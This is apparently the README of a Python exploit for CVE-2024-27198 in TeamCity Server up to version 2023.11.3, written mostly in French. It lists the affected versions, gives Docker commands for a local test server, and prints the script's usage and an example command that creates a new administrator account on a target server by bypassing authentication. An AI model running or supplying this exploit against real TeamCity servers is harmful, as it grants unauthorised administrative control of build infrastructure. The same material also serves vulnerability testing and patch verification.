
Exploit for CVE-2024-27198 - TeamCity Server

Produits et versions concernés :
| Produit | Versions concernées |
|---|---|
| TeamCity Server | <= 2023.11.3 |
Vous pouvez déployer un serveur TeamCity avec Docker pour tester cet exploit
docker pull jetbrains/teamcity-server:2023.11.3
docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3
http://localhost:8111 et suivez les instructions de configuration pour votre nouveau serveur (cliquez simplement sur Proceed et créez un nouveau compte administrateur).usage: CVE-2024-27198.py [-h] -t TARGET -u USERNAME -p PASSWORD
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target TeamCity Server URL
-u USERNAME, --username USERNAME
Insert username for the new user
-p PASSWORD, --password PASSWORD
Insert password for the new user
Exemple :
python CVE-2024-27198.py -t http://localhost:8111 -u mynewadminuser -p mypassword